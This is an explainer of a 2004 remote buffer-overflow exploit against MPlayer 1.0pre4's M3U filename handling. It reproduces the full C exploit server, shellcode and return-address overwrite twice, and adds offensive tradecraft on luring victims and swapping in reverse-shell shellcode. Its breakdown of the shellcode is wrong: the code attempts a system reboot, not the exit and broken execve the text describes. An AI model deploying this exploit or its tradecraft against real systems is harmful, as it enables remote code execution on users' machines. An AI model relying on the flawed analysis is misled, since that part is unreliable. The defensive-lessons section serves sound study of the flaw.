MPlayer 1.0pre4 GUI Filename Handling Overflow Exploit Explained

MPlayer 1.0pre4 GUI Filename Handling Overflow Exploit Explained
What this paper is
This paper, published in 2004, details a remote exploit for MPlayer version 1.0pre4. The vulnerability lies in how MPlayer handles filenames within its GUI interface. By sending a specially crafted M3U playlist file, an attacker can trigger a buffer overflow, allowing them to execute arbitrary code on the target system. The exploit code provided is a proof-of-concept (POC) designed to demonstrate this vulnerability.
Simple technical breakdown
The core of the exploit relies on a buffer overflow vulnerability in the guiIntfStruct.Filename buffer within MPlayer. When MPlayer attempts to process a malicious M3U file, it reads a filename that is too long. This oversized filename overwrites adjacent memory on the stack, including the return address (EIP).
The exploit code acts as a simple HTTP server. When a vulnerable MPlayer instance connects to this server (likely by trying to open a malicious .m3u file that points to the attacker's server), the server sends back a crafted HTTP response. This response includes a valid HTTP header, followed by a specially formatted M3U header, and then the exploit payload.
The payload itself consists of:
- Padding (NOP sled): A series of
NOP(No Operation) instructions (0x90). This is used to ensure that even if the exact return address is slightly off, execution will slide down the NOPs until it hits the actual shellcode. - Shellcode: The actual code to be executed on the target. In this case, it's a small piece of assembly that performs system calls to exit.
- Return Address Overwrite: The exploit carefully places a target return address on the stack, pointing into the NOP sled, to redirect program execution to the shellcode.
The exploit uses a fixed return address (RETADDR) and allows for adjustments via align and offset parameters to fine-tune the overwrite.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
/*
c0ntex open-security org
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define SUCCESS 0 /* True */
#define FAILURE 1 /* False */
#define A_BANNER "_MPlayer_MeMPlayer_Media_Mayhem_"
#define ALIGN 0 /* Stack address alignment */
#define BUFFER 544 /* Exactly overwrite EIP */
#define EIPWRT 4 /* Byte count for overwrite */
#define NOP 0x90 /* NoOp padding */
#define OFFSET 0 /* Offset from retaddr */
#define PORT 80 /* Listener port */
#define RETADDR 0xbfffcb9c /* Remote return address */
#define THREAT "MPlayer/1.0pre4-3.2.2" /* Latest vulnerable version */
#define example(OhNoo) fprintf(stderr, "Usage: ./memplayer -a <align_val> -o <offset_val>\n\n", OhNoo);
#define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail me if you have something\n\n", OhYes);
unsigned int i;
char payload[BUFFER];
void banner(void);
void die(char *ohnn);
int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);
char *http[] = {
"HTTP/1.0 200 OK\r\n",
"Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n",
"Server: MemPlayer/1.0.3 (Linux)\r\n",
"MIME-version: 1.0\r\n",
"Content-Type: audio/x-mpegurl\r\n",
"Content-Length: 666\r\n",
"Connection: close\r\n",
"\r\n"
};
char *m3umuxor[] = {
"\x23\x45\x58\x54\x4D\x33\x55\r\n",
"\x23\x45\x58\x54\x49\x4E\x46\x3A"
"\x2E\x2c\x4F\x70\x65\x6E\x2D\x53"
"\x65\x63\x75\x72\x69\x74\x79\x2E"
"\x52\x6F\x63\x6B\x73\r\n",
"\r\n"
};
char opcode[] = {
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,
0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,
0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,
0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};
void banner(void);
void die(char *err_trap);
int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);- Includes: Standard C libraries for input/output, memory manipulation, networking, and system calls.
- Defines:
SUCCESS,FAILURE: Simple boolean-like definitions for function return values.A_BANNER: A string, not used in the provided code snippet.ALIGN: Default value for stack alignment adjustment (0).BUFFER: The size of thepayloadbuffer (544 bytes). This is crucial as it's designed to precisely overwrite the return address and fill the buffer up to that point.EIPWRT: The number of bytes used to overwrite the Extended Instruction Pointer (EIP) (4 bytes, typical for a 32-bit address).NOP: The byte value for a No Operation instruction (0x90).OFFSET: Default offset value for adjusting the return address (0).PORT: The default listening port for the exploit server (80).RETADDR: The target return address on the stack (0xbfffcb9c). This is a hardcoded address, likely determined through debugging or fuzzing on a specific MPlayer version and OS configuration.THREAT: A string representing a vulnerable MPlayer version ("MPlayer/1.0pre4-3.2.2"). Used for version checking.
- Macros:
example(OhNoo): Prints usage instructions tostderr.looking(OhYes): Prints a message tostderrindicating the author is looking for work.
- Global Variables:
i: An unsigned integer used for loop counters.payload[BUFFER]: A character array that will hold the crafted exploit payload.
- Function Prototypes: Declares functions used in the program.
http[]Array: An array of strings containing a standard HTTP 200 OK response. This is sent first to make the connection appear legitimate to MPlayer.m3umuxor[]Array: An array of strings containing the M3U header."\x23\x45\x58\x54\x4D\x33\x55\r\n": This is the start of an M3U file, specifically"#EXTM3U\r\n". The hex values represent these ASCII characters."\x23\x45\x58\x54\x49\x4E\x46\x3A\x2E\x2c\x4F\x70\x65\x6E\x2D\x53\x65\x63\x75\x72\x69\x74\x79\x2E\x52\x6F\x63\x6B\x73\r\n": This appears to be a custom or malformed M3U entry. It starts with"#EXTINF:"followed by a string that looks like a reference to "Open-Security.Rocks". The exact purpose of this specific string within the M3U format might be to trigger a specific parsing path in MPlayer that leads to the vulnerability."\r\n": A final carriage return and newline to terminate the M3U header.
opcode[]Array: This is the actual shellcode.0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80: This sequence is likelyxor eax, eax; mov ebx, eax; mov al, 0x17; int 0x80. This corresponds to thesys_exitsystem call with an exit code of 0.0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80: This sequence is likelyxor eax, eax; mov ebx, eax; mov al, 0x24; int 0x80. This corresponds to thesys_exitsystem call with an exit code of 36 (0x24). This appears to be a redundant or alternative exit call.0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,0x01,0xcd,0x80: This is a more complex sequence.0x31,0xc0,0x89,0xc3:xor eax, eax; mov ebx, eax; mov eax, ebx(effectivelyeax = 0).0x89,0xc1:mov ecx, eax(soecx = 0).0x89,0xc2:mov edx, eax(soedx = 0).0xb0,0x58:mov al, 0x58. This sets the lower byte ofeaxto0x58. The fulleaxwould be0x00000058. This value corresponds to thesys_execvesystem call number on Linux.0xbb,0xad,0xde,0xe1,0xfe:mov ebx, 0xfeedade. This is likely intended to be a pointer to a filename or command to execute. However,0xfeedadeis not a valid pointer in typical memory layouts. It's possible this is a placeholder or intended to be a pointer to a string within the payload itself, but the code doesn't explicitly set up such a string.0xb9,0x69,0x19,0x12,0x28:mov ecx, 0x28121969. This is likely intended to be a pointer to an array of arguments forexecve. Again, this is not a valid pointer in this context.0xba,0x67,0x45,0x23,0x01:mov edx, 0x01234567. This is likely intended to be a pointer to an array of environment variables forexecve. Not a valid pointer.0xcd,0x80:int 0x80. This triggers the system call.- Analysis of the
opcodeshellcode: The first part (0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80) is a clearsys_exit(0). The second part (0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80) is alsosys_exit(36). The third, more complex part, attempts to callsys_execvebut the arguments (ebx,ecx,edx) are hardcoded, invalid memory addresses. This suggests that the primary goal of the shellcode is to exit gracefully, and theexecvepart might be vestigial, a failed attempt at something more complex, or intended to be patched by the attacker. Given the context of a POC, a simple exit is sufficient to demonstrate code execution.
void
banner(void)
{
fprintf(stderr, "\n ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n");
fprintf(stderr, "[-] Uses m3u header reference to make MPlayer think it has a\n");
fprintf(stderr, "[-] valid media file then crafted package is sent, overflows\n");
fprintf(stderr, "[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n");
fprintf(stderr, "[-] c0ntex open-security org {} http://www.open-security.org \n\n");
}banner()function: Prints introductory information about the exploit tostderr. It explains the mechanism (M3U header, buffer overflow inguiIntfStruct.Filename) and credits the author.
void
die(char *err_trap)
{
perror(err_trap);
fflush(stderr); _exit(1);
}die()function: A helper function to print an error message usingperror(which includes the system error description) and then exit the program immediately using_exit(1).
int
pkg_prep(int clisock_fd, int align, int offset)
{
unsigned int recv_chk;
long retaddr;
char chk_vuln[69];
char *pload = (char *) &opcode;
retaddr = RETADDR - offset;
fprintf(stderr, " -> Using align [%d] and offset [%d]\n", align, offset);
memset(chk_vuln, 0, sizeof(chk_vuln));
recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);
chk_vuln[recv_chk+1] = '\0';
if(recv_chk == -1 || recv_chk == 0) {
fprintf(stderr, "Could not receive data from client\n");
}
if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")) {
fprintf(stderr, " -> Detected vulnerable MPlayer version\n");
}else{
fprintf(stderr, " -> Detected a non-MPlayer connection, end.\n");
close(clisock_fd);
_exit(1);
}
fprintf(stderr, " -> Payload size to send is [%d]\n", sizeof(payload));
fprintf(stderr, " -> Sending evil payload to our client\n");
memset(payload, 0, BUFFER);
for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4)
*(long *)&payload[i] = retaddr;
for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i)
*(payload + i) = NOP;
memcpy(payload + i, pload, strlen(pload));
payload[545] = 0x00;
return SUCCESS;
}pkg_prep()function: This function prepares the exploit payload.retaddr = RETADDR - offset;: Calculates the target return address by subtracting theoffsetfrom the baseRETADDR. Thealignparameter is declared but not used in this function.char chk_vuln[69];: A buffer to receive initial data from the client.char *pload = (char *) &opcode;: A pointer to the start of theopcode(shellcode) array.recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);: Receives up to 68 bytes from the connected client. This is to check if the client is indeed MPlayer and a vulnerable version.if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")): Checks if the received data contains the vulnerable version string (THREAT) or any string starting with "MPlayer/0". If so, it assumes a vulnerable version.memset(payload, 0, BUFFER);: Clears the globalpayloadbuffer.- Overwrite EIP:
This loop iterates fromfor(i = (BUFFER - EIPWRT); i < BUFFER; i += 4) *(long *)&payload[i] = retaddr;BUFFER - EIPWRT(544 - 4 = 540) up toBUFFER(544), in steps of 4 bytes. It writes the calculatedretaddr(the target return address) into these last 4 bytes of thepayloadbuffer. This is the crucial step that overwrites the return address on the stack. - NOP Sled:
This loop fills the beginning of thefor (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i) *(payload + i) = NOP;payloadbuffer withNOPinstructions. It fills up toBUFFER - sizeof(opcode) - 4bytes. The- 4accounts for the space reserved for the return address overwrite. This creates the NOP sled. - Copy Shellcode:
After the NOP sled is filled,memcpy(payload + i, pload, strlen(pload));iwill be at the position where the NOPs ended. Thismemcpycopies theopcode(shellcode) into thepayloadbuffer immediately after the NOP sled. payload[545] = 0x00;: This sets the byte at index 545 to null. GivenBUFFERis 544, this is actually writing outside the declaredpayloadbuffer. This is a potential bug or an intentional overflow in the payload construction itself, which might be necessary for the exploit to work on certain systems or might be a typo. IfBUFFERwas meant to be 546, this would be the null terminator for the string. As it stands, it writes one byte past the allocated buffer.return SUCCESS;: Indicates successful preparation.
int
pkg_send(int clisock_fd, char *payload)
{
for (i = 0; i < 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
die("Could not send HTTP header");
}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);
for (i = 0; i < 3; i++)
if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {
die("Could not send m3u header");
}fprintf(stderr, "\t- Sending valid m3u header..\n"); sleep(1);
if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
die("Could not send payload");
}fprintf(stderr, "\t- Sending payload package..\n");
return SUCCESS;
}pkg_send()function: Sends the crafted data to the client.- It first sends the
httparray elements, which form a valid HTTP response. - Then, it sends the
m3umuxorarray elements, which form the M3U header. - Finally, it sends the
payloadbuffer. Thestrlen(payload)here is problematic because thepayloadbuffer is not null-terminated by thepkg_prepfunction (except for the potentially out-of-boundspayload[545] = 0x00). This meansstrlenmight read beyond the intended payload, potentially causing issues or sending unintended data. It's more likely that thesendfunction should useBUFFERor a calculated size instead ofstrlen.
- It first sends the
int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;
signed int clisock_fd, sock_fd;
static char *exploit, *work;
struct sockaddr_in victim;
struct sockaddr_in confess;
if(argc < 2) {
banner();
example(exploit);
_exit(1);
}banner();
while((opts = getopt(argc, argv, "a:o:")) != -1) {
switch(opts)
{
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die("Could not create socket");
}
if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die("Could not re-use socket");
}
memset(&confess, 0, sizeof(confess));
confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die("Could not bind socket");
}
if(listen(sock_fd, 0) == -1) {
die("Could not listen on socket");
}
printf(" -> Listening for a connection on port %d\n", port);
cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);
fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));
if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, "Could not prep package\n");
_exit(1);
}
if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, "Could not send package\n");
_exit(1);
}
sleep(2);
fprintf(stderr, " -> Test complete\n\n");
close(clisock_fd); looking(work);
return SUCCESS;
}
// milw0rm.com [2004-07-04]main()function: The entry point of the program.- Argument Parsing:
- Checks if
argc < 2(at least one argument besides the program name). If not, it prints the banner and usage. - Uses
getoptto parse command-line arguments-a(align) and-o(offset). If not provided, default values (ALIGN,OFFSET) are used.
- Checks if
- Socket Setup:
sock_fd = socket(AF_INET, SOCK_STREAM, 0);: Creates a TCP socket.setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int));: Allows the socket to be reused immediately after closing.
- Bind and Listen:
- Sets up
confess(the server's address structure) to bind to any local IP address (INADDR_ANY) on the specifiedport. bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr));: Binds the socket to the address.listen(sock_fd, 0);: Puts the socket in listening mode.
- Sets up
- Accept Connection:
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);: Waits for an incoming connection. When a client connects, it returns a new socket file descriptor (clisock_fd) for communication with that client and populates thevictimstructure with the client's address.
- Exploit Execution:
pkg_prep(clisock_fd, align, offset);: Calls the function to prepare the exploit payload.pkg_send(clisock_fd, payload);: Calls the function to send the prepared payload to the client.
- Cleanup:
close(clisock_fd);: Closes the connection to the client.looking(work);: Prints the "looking for work" message.
return SUCCESS;: Exits the program successfully.
- Argument Parsing:
Mapping of code fragments to practical purpose:
#include <...>: Imports necessary libraries for network programming and system operations.#define BUFFER 544: Defines the size of the overflow buffer, critical for overwriting EIP.#define RETADDR 0xbfffcb9c: Defines the target return address, crucial for redirecting execution.char payload[BUFFER]: The buffer that will be filled with NOPs, shellcode, and the overwritten return address.char *http[]: HTTP headers to make the initial connection look legitimate.char *m3umuxor[]: M3U playlist header to trick MPlayer into processing the malicious data.char opcode[]: The actual shellcode (assembly instructions) to be executed.banner(): Displays exploit information and credits.die(): Handles fatal errors by printing a message and exiting.pkg_prep(): Constructs the exploit payload by filling thepayloadbuffer with NOPs, the shellcode, and the target return address.pkg_send(): Sends the HTTP headers, M3U header, and the crafted payload to the connected client.main(): Sets up a listening server, accepts a connection, callspkg_prepandpkg_sendto deliver the exploit.getopt(): Parses command-line arguments foralignandoffset.socket(),bind(),listen(),accept(): Standard socket programming functions to create a network listener.recv(): Used inpkg_prepto check the client's identification.send(): Used inpkg_sendto transmit data to the client.memset(),memcpy(): Memory manipulation functions used for payload construction.*(long *)&payload[i] = retaddr;: The core of the exploit payload construction, writing the return address into the buffer.*(payload + i) = NOP;: Filling the buffer with NOPs for the sled.
Shellcode/Payload Segments:
- HTTP Headers:
http[]array. Purpose: To make the initial request from MPlayer appear as a legitimate HTTP request for an audio stream, satisfying MPlayer's initial checks. - M3U Headers:
m3umuxor[]array. Purpose: To trick MPlayer into believing it's parsing a valid M3U playlist file. The specific content is crafted to trigger the vulnerability. - Payload Buffer (
payload):- NOP Sled:
for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i) *(payload + i) = NOP;- Purpose: A sequence of
0x90bytes. If the exact return address is slightly off, execution will "slide" down this sled until it hits the shellcode.
- Purpose: A sequence of
- Return Address Overwrite:
for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4) *(long *)&payload[i] = retaddr;- Purpose: Overwrites the return address on the stack with the calculated
retaddr. This is the critical step that redirects program flow.
- Purpose: Overwrites the return address on the stack with the calculated
- Shellcode:
memcpy(payload + i, pload, strlen(pload));- Purpose: Contains the machine code instructions to be executed. In this case, it's primarily a
sys_exitcall. opcode[]breakdown:0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80:sys_exit(0)- Terminates the process cleanly.0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80:sys_exit(36)- Another exit call.0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,0x01,0xcd,0x80: Attemptssys_execvewith invalid arguments.
- Purpose: Contains the machine code instructions to be executed. In this case, it's primarily a
- NOP Sled:
Practical details for offensive operations teams
- Required Access Level: Remote. The exploit is designed to be triggered by a remote MPlayer client connecting to the attacker-controlled server. No local access is required.
- Lab Preconditions:
- A vulnerable MPlayer instance (version 1.0pre4 or a compatible build) running on a target Linux system.
- The target MPlayer instance must be configured to open or fetch M3U files from external sources, or an attacker must be able to trick the user into opening a malicious M3U file that points to the attacker's IP and port.
- Network connectivity between the attacker's server and the target MPlayer instance.
- The attacker's server needs to be able to bind to the chosen
PORT(default 80).
- Tooling Assumptions:
- The exploit code itself is a C program that needs to be compiled on a Linux system.
- Standard Linux development tools (
gcc,make) are assumed. - The attacker needs a machine to host the exploit server.
- Execution Pitfalls:
- Hardcoded
RETADDR: TheRETADDR(0xbfffcb9c) is highly specific to the target environment (OS, MPlayer version, compiler, and stack layout). This address will likely need to be re-determined for different target configurations. This is the most common failure point. - Buffer Size (
BUFFER): TheBUFFERsize (544) is calculated to precisely overwrite EIP. Any slight variation in the MPlayer binary or its dependencies could change the offset required. strlen(payload)insend(): As noted,strlenis used to send the payload. If thepayloadbuffer is not properly null-terminated within its intended bounds,strlenmight read beyond the buffer, leading to unexpected behavior or crashes. A fixed size send (send(clisock_fd, payload, BUFFER, 0)) would be more robust if the entire buffer is intended to be sent.payload[545] = 0x00;: Writing one byte past the declaredpayloadbuffer. This could cause issues or be a necessary part of the exploit depending on the exact memory layout.- Firewalls/Network Segmentation: Network firewalls could block the connection from MPlayer to the attacker's server on port 80, or vice-versa if MPlayer is trying to fetch a resource.
- MPlayer Version Mismatch: The exploit will fail if the target MPlayer is not the vulnerable version. The version check in
pkg_prepis basic. - Shellcode Reliability: The provided shellcode is simple (
sys_exit). If a more complex shellcode were used (e.g., to spawn a shell), it would need to be carefully crafted for the target architecture and OS, and ensure it doesn't contain null bytes that could terminate string operations prematurely.
- Hardcoded
- Tradecraft Considerations:
- Stealth: Running the exploit server on port 80 is common but can be noisy. Using a less common port might be considered for initial reconnaissance, but port 80 is often allowed outbound.
- Persistence: This exploit is not persistent. Once the MPlayer process exits (due to the shellcode), the connection is lost.
- Delivery: The primary challenge is getting the vulnerable MPlayer instance to connect to the attacker's server. This could involve:
- Social engineering the user to open a malicious
.m3ufile hosted by the attacker. - If MPlayer fetches playlists from a URL, the attacker could poison a playlist source.
- Exploiting another vulnerability to force MPlayer to connect to the attacker's server.
- Social engineering the user to open a malicious
- Payload Customization: The
opcodeis a simple exit. For actual offensive operations, this would be replaced with shellcode to establish a reverse shell, download a larger payload, or perform other actions. Null bytes within custom shellcode are a common issue.
- Likely Failure Points:
- Incorrect
RETADDRdue to environment differences. - MPlayer version not matching the vulnerable one.
- Network connectivity issues or firewall blocks.
- MPlayer's internal handling of M3U files changing in minor updates.
- Stack protector mechanisms (though less common in 2004).
- Incorrect
Where this was used and when
- When: Published on July 4, 2004. This exploit targets a vulnerability present in MPlayer version 1.0pre4, which was released around that time.
- Where: This exploit targets the MPlayer application on Linux systems. The vulnerability is triggered when MPlayer parses a specially crafted M3U playlist file. The exploit code itself is a server that MPlayer connects to.
While concrete public reports of this specific exploit being used in the wild are scarce for older vulnerabilities, it represents a common class of vulnerabilities exploited in the early to mid-2000s targeting media players and parsers. Such vulnerabilities were often used for:
- Denial of Service (DoS): Crashing the MPlayer application.
- Arbitrary Code Execution (ACE): Gaining control of the user's system if the shellcode was designed for it.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user-supplied input, especially when it's processed by complex parsers (like media file formats). Filename handling, URL parsing, and data structure parsing are common areas for buffer overflows.
- Secure Coding Practices:
- Use safe string manipulation functions (e.g.,
strncpy,snprintfinstead ofstrcpy,sprintf). - Be mindful of buffer sizes and always check for overflows.
- Avoid hardcoded addresses for critical operations like return addresses.
- Use safe string manipulation functions (e.g.,
- Regular Patching and Updates: Keep all software, especially media players, browsers, and network services, updated to the latest stable versions. Vulnerabilities like this are typically patched quickly.
- Runtime Protections: Modern operating systems and compilers offer protections like:
- Stack Canaries: Detect buffer overflows on the stack before they can overwrite the return address.
- ASLR (Address Space Layout Randomization): Makes it harder for attackers to predict target addresses like
RETADDR. - DEP/NX (Data Execution Prevention/No-Execute): Prevents code from being executed from memory regions marked as data (like the stack), making shellcode injection more difficult.
- Network Segmentation and Firewalls: Limit outbound connections from user workstations to only necessary services. This can prevent MPlayer from connecting to an attacker-controlled server.
- Intrusion Detection/Prevention Systems (IDS/IPS): Monitor network traffic for suspicious patterns, such as unexpected HTTP/M3U traffic or connections to known malicious IPs.
- Application Whitelisting: Restrict which applications can run on endpoints. If MPlayer is not a required application, it could be disallowed.
ASCII visual (if applicable)
This exploit involves a client-server interaction and memory manipulation on the client. A simple flow diagram can illustrate the interaction:
+-----------------+ +-----------------------+
| Attacker Server | ----> | Vulnerable MPlayer |
| (Exploit POC) | | (Client) |
+-----------------+ +-----------------------+
^ |
| 1. Listen & Accept | 2. Connect (e.g., open .m3u)
| |
| 3. Send HTTP/M3U/Payload|
| | 4. Process Payload
| | - Receive data
| | - Buffer overflow in Filename
| | - EIP overwritten
| | - Execution jumps to NOP sled/Shellcode
| | 5. Execute Shellcode (e.g., exit)
| |
+-------------------------+Explanation of the diagram:
- The attacker's exploit code starts a server listening on a specific port.
- The vulnerable MPlayer instance, triggered by opening a malicious
.m3ufile (or similar mechanism), initiates a connection to the attacker's server. - The attacker's server responds with a crafted HTTP response containing M3U headers and the exploit payload.
- MPlayer receives this data. When it processes the filename within the M3U, a buffer overflow occurs. The attacker's carefully crafted data overwrites the return address on the stack.
- Execution is redirected to the shellcode embedded within the payload, which in this POC, causes MPlayer to exit.
Source references
- Exploit-DB Paper: MPlayer 1.0pre4 GUI - Filename handling Overflow (ID: 308)
- Author: c0ntex
- Published: 2004-07-04
Original Exploit-DB Content (Verbatim)
/*
c0ntex open-security org
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define SUCCESS 0 /* True */
#define FAILURE 1 /* False */
#define A_BANNER "_MPlayer_MeMPlayer_Media_Mayhem_"
#define ALIGN 0 /* Stack address alignment */
#define BUFFER 544 /* Exactly overwrite EIP */
#define EIPWRT 4 /* Byte count for overwrite */
#define NOP 0x90 /* NoOp padding */
#define OFFSET 0 /* Offset from retaddr */
#define PORT 80 /* Listener port */
#define RETADDR 0xbfffcb9c /* Remote return address */
#define THREAT "MPlayer/1.0pre4-3.2.2" /* Latest vulnerable version */
#define example(OhNoo) fprintf(stderr, "Usage: ./memplayer -a <align_val> -o <offset_val>\n\n",
OhNoo);
#define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail
me if you have something\n\n", OhYes);
unsigned int i;
char payload[BUFFER];
void banner(void);
void die(char *ohnn);
int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);
char *http[] = {
"HTTP/1.0 200 OK\r\n",
"Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n",
"Server: MemPlayer/1.0.3 (Linux)\r\n",
"MIME-version: 1.0\r\n",
"Content-Type: audio/x-mpegurl\r\n",
"Content-Length: 666\r\n",
"Connection: close\r\n",
"\r\n"
};
char *m3umuxor[] = {
"\x23\x45\x58\x54\x4D\x33\x55\r\n",
"\x23\x45\x58\x54\x49\x4E\x46\x3A"
"\x2E\x2c\x4F\x70\x65\x6E\x2D\x53"
"\x65\x63\x75\x72\x69\x74\x79\x2E"
"\x52\x6F\x63\x6B\x73\r\n",
"\r\n"
};
char opcode[] = {
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,
0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,
0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,
0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};
void
banner(void)
{
fprintf(stderr, "\n ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n");
fprintf(stderr, "[-] Uses m3u header reference to make MPlayer think it has a\n");
fprintf(stderr, "[-] valid media file then crafted package is sent, overflows\n");
fprintf(stderr, "[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n");
fprintf(stderr, "[-] c0ntex open-security org {} http://www.open-security.org \n\n");
}
void
die(char *err_trap)
{
perror(err_trap);
fflush(stderr); _exit(1);
}
int
pkg_prep(int clisock_fd, int align, int offset)
{
unsigned int recv_chk;
long retaddr;
char chk_vuln[69];
char *pload = (char *) &opcode;
retaddr = RETADDR - offset;
fprintf(stderr, " -> Using align [%d] and offset [%d]\n", align, offset);
memset(chk_vuln, 0, sizeof(chk_vuln));
recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);
chk_vuln[recv_chk+1] = '\0';
if(recv_chk == -1 || recv_chk == 0) {
fprintf(stderr, "Could not receive data from client\n");
}
if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")) {
fprintf(stderr, " -> Detected vulnerable MPlayer version\n");
}else{
fprintf(stderr, " -> Detected a non-MPlayer connection, end.\n");
close(clisock_fd);
_exit(1);
}
fprintf(stderr, " -> Payload size to send is [%d]\n", sizeof(payload));
fprintf(stderr, " -> Sending evil payload to our client\n");
memset(payload, 0, BUFFER);
for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4)
*(long *)&payload[i] = retaddr;
for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i)
*(payload + i) = NOP;
memcpy(payload + i, pload, strlen(pload));
payload[545] = 0x00;
return SUCCESS;
}
int
pkg_send(int clisock_fd, char *payload)
{
for (i = 0; i < 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
die("Could not send HTTP header");
}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);
for (i = 0; i < 3; i++)
if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {
die("Could not send m3u header");
}fprintf(stderr, "\t- Sending valid m3u header..\n"); sleep(1);
if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
die("Could not send payload");
}fprintf(stderr, "\t- Sending payload package..\n");
return SUCCESS;
}
int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;
signed int clisock_fd, sock_fd;
static char *exploit, *work;
struct sockaddr_in victim;
struct sockaddr_in confess;
if(argc < 2) {
banner();
example(exploit);
_exit(1);
}banner();
while((opts = getopt(argc, argv, "a:o:")) != -1) {
switch(opts)
{
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die("Could not create socket");
}
if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die("Could not re-use socket");
}
memset(&confess, 0, sizeof(confess));
confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die("Could not bind socket");
}
